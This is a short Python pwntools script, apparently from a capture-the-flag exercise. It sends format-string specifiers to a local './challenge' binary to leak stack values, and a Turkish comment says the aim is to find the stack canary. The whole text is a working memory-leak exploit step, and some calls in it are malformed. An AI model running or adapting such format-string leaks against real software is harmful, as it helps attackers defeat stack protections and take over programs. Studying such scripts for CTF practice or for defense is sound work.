from pwn import *
def brute():
   with open("leak_data","w") as f:
       for i in range(1,512):
           try:
               p=process('./challenge')
               p.sendline("%%%d$lx" % i)
               p.recvuntil('\n')
               leak_data = p.recvuntil()
               f.write(i,leak_data)
               p.close()            
           except:
               p.close()
brute()
#USAGE: python challenge_exp.py DEBUG > leak.out
#Canary degerini bulmak icin kullanılan brute-force
